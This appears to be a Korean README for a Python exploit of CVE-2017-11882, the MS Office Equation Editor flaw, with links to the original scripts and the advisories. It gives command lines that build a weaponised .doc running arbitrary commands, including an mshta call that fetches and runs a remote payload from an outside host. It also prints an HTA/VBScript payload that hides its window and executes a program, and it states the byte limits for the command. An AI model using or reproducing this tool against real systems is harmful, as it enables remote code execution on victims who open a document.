
Python 기반의 CVE-2017-11882 (MS Office Equation Editor 취약점) 익스플로잇으로, 명령어 삽입 및 mshta 기반 원격 페이로드 전달을 지원하며 셸코드 실행이 가능합니다.
43b 원본 스크립트는 https://github.com/embedi/CVE-2017-11882 에서 가져왔습니다.
109b 원본 스크립트는 https://github.com/unamer/CVE-2017-11882/ 에서 가져왔습니다. (참고로, 이제 unamer의 코드는 shellcode를 실행할 수 있습니다~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
연구: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
패치 분석: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
데모 PoC 익스플로잇: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
mshta 사용
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
43b 명령 길이는 43 bytes를 초과할 수 없으며, 109b 명령 길이는 109 bytes를 초과할 수 없습니다.
example 폴더에는 CVE-2017-11882 취약점을 이용하여 시스템에서 계산기를 실행하는 .rtf 파일이 있습니다.